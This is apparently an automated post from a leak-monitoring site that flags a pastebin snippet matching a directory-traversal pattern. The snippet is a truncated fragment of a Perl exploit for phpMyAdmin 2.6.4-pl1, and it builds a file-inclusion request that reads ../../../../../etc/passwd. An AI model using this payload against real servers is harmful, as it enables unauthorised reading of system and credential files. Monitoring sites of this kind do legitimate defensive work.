LeakedIn Logo
Stories About Data Leaks and Related Stuff

Potential leak of data: Directory Transversal

0 votedvote

Detected 1 occurrence(s) of ‘http:\/\/.*\.\.\/\.\.\/\.\.’:

nt "HOST - Host where is phpmyadmin example: http://localhost\r\n";
print "DIR - Directory to PMA example: /phpMyAdmin-2.6.4-pl1/\r\n";
print "FILE - file to inclusion ../../../../../etc/passwd\r\n\r\n";
print "example cmd: perl phpmyadmin-2.6.4-pl1.pl http://localhost /phpMyAdmin-2.6.4-pl1/ ../../../../../etc/passwd\r\n\r\n";
exit();
}

$HOST = $ARGV[0];
$DIR = $ARGV[1]."libraries/grab_globals.lib.php";
$FILE = "usesubform[1]=1&usesubform[2]=1&subform[1][redirect]=".$ARGV[2]."&subform[1][cXIb8O3]=1";
$LENGTH = length $FILE;

print "\r\nATTACK HOST

Source: http://pastebin.com/raw.php?i=R4QV4SGn

Tags: ,

Comments are closed.